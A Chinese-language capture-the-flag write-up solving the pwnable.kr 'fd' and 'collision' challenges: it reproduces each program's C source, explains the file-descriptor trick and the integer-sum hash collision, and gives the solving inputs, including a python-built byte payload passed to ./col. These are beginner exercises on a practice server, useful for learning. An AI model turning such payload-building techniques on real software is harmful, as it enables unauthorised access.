##PWN001 ssh fd@pwnable.kr -p2222 (pw:guest)
送分题
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
//接收参数,当参数不存在时,返回请输入参数
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
//将参数从char*转换为int值减去0x1234
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
//从fb指针开始往后读32个字节的字符并存于buf中
len = read(fd, buf, 32);
//拷贝字符,当buf中的字符与LETMEWIN\n相同时,输出flag并退出程序
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
那么我们的fb指针肯定要指向0x000开始,所以我们需要把fd置空,计算器算一下
输入指令
./fd 4660
然后输入LETMEWIN
GET FLAG
PWN002
ssh col@pwnable.kr -p2222 (pw:guest)
取得代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <iostream>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char *p) {
int *ip = (int *) p;
int i;
int res = 0;
for (i = 0; i < 5; i++) {
std::cout<<ip[i]<<std::endl;
res += ip[i];
}
return res;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
std::cout<<argv[1]<<std::endl;
if (strlen(argv[1]) != 20) {
printf("passcode length should be 20 bytes\n");
return 0;
}
if (hashcode == check_password(argv[1])) {
system("/bin/cat flag");
return 0;
} else
printf("wrong passcode.\n");
return 0;
}
调试结果试试
11111111111111111111
得出
查了查ASCLL表刚好字符'1'的hex是\31\31\31
对应的10进制为825307441
里面的
21DD09EC
计算器计算的结果如下
568134124
而res的值恰好为这些数字相加,也就是说,这个hashcode的结果为这些数相加的整数和
上python构造
\x01\x01\x01\x01 + \x01\x01\x01\x01 + \x01\x01\x01\x01 + \x01\x01\x01\x01 + \x1D\xD9\x05\xE8
管道执行col.exe(linux下直接是col)
./col $(python -c 'print "\xE8\x05\xD9\x1D" + 16*"\x01"') #调用python执行输入到./col中